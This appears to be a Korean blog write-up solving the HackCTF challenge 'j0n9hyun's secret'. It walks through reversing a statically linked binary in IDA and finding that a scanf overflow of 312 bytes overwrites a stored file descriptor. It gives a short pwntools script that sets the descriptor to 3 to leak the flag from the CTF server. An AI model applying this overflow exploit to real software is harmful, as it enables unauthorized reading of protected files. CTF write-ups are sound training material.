Pwnstar

HackCTF j0n9hyun's secret 본문

Wargame/HackCTF

HackCTF j0n9hyun's secret

포너블처돌이 2020. 6. 29. 10:54

 

 

이 문제는 look at me 문제처럼 statically linked된 문제이다.

 

아마 got overwrite가 불가능 할 것처럼 보이고(방법이 있는데 모르는 것일수도)

 

 

64비트 바이너리이고 NX bit가 걸려있어서 쉘코드 실행이 불가능하다.

 

IDA로 main 함수가 어떻게 되어있는 지 보자

 

 

첫 화면은 이런데 main 함수가 어디있는지 찾을 수가 없었다.

 

이럴 때에는 바이너리를 한 번 실행해보고 나오는 문자열을 검색해서 나오는 함수를 보면 될 것이다.

 

 

input name: 이라는 문자열이 나오고 입력을 받고 바로 종료된다. 그러면 이 문자열을 shift + F12로 찾아서 따라가보자

 

__int64 sub_4009C9()
{
  int v0; // ST0C_4

  sub_40FDD0(off_6CA748, 0LL, 2LL, 0LL);
  sub_40FDD0(off_6CA740, 0LL, 2LL, 0LL);
  sub_40FDD0(off_6CA738, 0LL, 2LL, 0LL);
  dword_6CCE98 = sub_43F670("top_secret", 114LL);
  sub_40F3D0((unsigned __int64)"input name: ");
  sub_40F500((unsigned __int64)"%s");
  v0 = sub_43F6D0((unsigned int)dword_6CCE98, &unk_6CCD6A, 300LL);
  sub_43F730(1LL, &unk_6CCD6A, v0);
  return 0LL;
}

 

이런 함수가 나왔는데 다른 함수들의 이름도 전부 sub_이런 식으로 바뀌어 있어서 무슨 함수인지 대충 예측해서 이름들을 한번 바꿔줘보자.

 

첫 함수 세 개는 모양이 낯이 익은게 setvbuf 함수같다.

__int64 sub_4009C9()
{
  setvbuf(off_6CA748, 0LL, 2LL, 0LL);
  setvbuf(off_6CA740, 0LL, 2LL, 0LL);
  setvbuf(off_6CA738, 0LL, 2LL, 0LL);
  dword_6CCE98 = open((__int64)"top_secret", 114LL);
  printf((unsigned __int64)"input name: ");
  scanf((unsigned __int64)"%s");
  read((unsigned int)dword_6CCE98, &unk_6CCD6A, 300LL);
  write(1LL, (__int64)&unk_6CCD6A);
  return 0LL;
}

음 이렇게 해놓으니 대충 흐름이 보인다. top_secret을 open하면 fd가 0x6cce98에 담긴다.

 

 

fd에는 4가 담겨있다.

 

lsof 명령어로 4번 파일 디스크립터가 무엇을 가리키는 지 확인해보자.

 

음 그러니까 이 프로그램은 결국 top_secret의 내용을 출력해주는 것이었다.

 

보면 3번이 flag 파일에 연결되어 있는데 fd 값을 3으로 바꾸거나...bof로 쉘을 실행할 수 있으면 플래그를 볼 수 있을 것이다.

 

우선 입력값이 어디로 들어가는 지 보자

 

입력값은 0x6ccd60에 있고, fd는 0x6cce98에 있으니

 

312바이트 이상을 입력하면 fd를 덮을 수 있다. 한번 시험해볼까?

 

로컬에서 실행해봤자 flag파일과 top_secret 파일 모두 비어있어서 nc로 붙어서 해봤다.

 

ex.py

from pwn import*

p = remote("ctf.j0n9hyun.xyz", 3031)

p.recvuntil("input name: ")

payload = "A"*312
payload += p64(3)

p.sendline(payload)

p.interactive()

 

이렇게 코드를 짜고 실행해보면

 

오우 제대로 푼 것 같다!

 

 

뇌피셜이긴 한데, mprotect 함수를 사용해서 nx를 풀고 쉘코드를 실행하는 방법으로도 풀 수 있을 것 같다

'Wargame > HackCTF' 카테고리의 다른 글

HackCTF pwning  (0) 2020.07.20
HackCTF Unexploitable #3  (0) 2020.06.29
HackCTF World Best Encryption Tool  (0) 2020.06.28
HackCTF register  (0) 2020.06.28
HackCTF rtc  (0) 2020.06.28
Comments